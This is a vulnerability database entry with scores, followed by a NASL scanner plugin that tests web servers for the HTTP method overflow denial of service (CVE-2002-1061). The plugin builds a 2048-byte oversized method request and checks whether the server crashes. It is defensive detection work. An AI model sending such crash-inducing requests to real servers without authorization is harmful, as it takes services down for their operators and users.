6.6 Medium
AI Score
Confidence
Low
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.051 Low
EPSS
Percentile
92.8%
It was possible to kill the web server by
sending an invalid request with a too long HTTP method field
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11065");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5319");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2002-1061");
script_name("HTTP Method Overflow DoS Vulnerability");
script_category(ACT_DENIAL);
# All the www_too_long_*.nasl scripts were first declared as
# ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them:
# The web server might be killed by those generic tests before the scanner
# has a chance to perform known attacks for which a patch exists
# As ACT_DENIAL are performed one at a time (not in parallel), this reduces
# the risk of false positives.
script_copyright("Copyright (C) 2002 Michel Arboi");
script_family("Denial of Service");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"Upgrade your software or protect it with a filtering reverse proxy.");
script_tag(name:"summary", value:"It was possible to kill the web server by
sending an invalid request with a too long HTTP method field");
script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make the web server
crash continually or even execute arbirtray code on the affected system.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
port = http_get_port( default:80 );
if( http_is_dead( port:port, retry:4 ) )
exit( 0 );
req = string( crap( data:"HEADVT-TESTVT-TEST", length:2048 ), " / HTTP/1.0\r\n\r\n" );
http_send_recv( port:port, data:req );
if( http_is_dead( port:port ) ) {
security_message( port:port );
exit( 0 );
}
exit( 99 );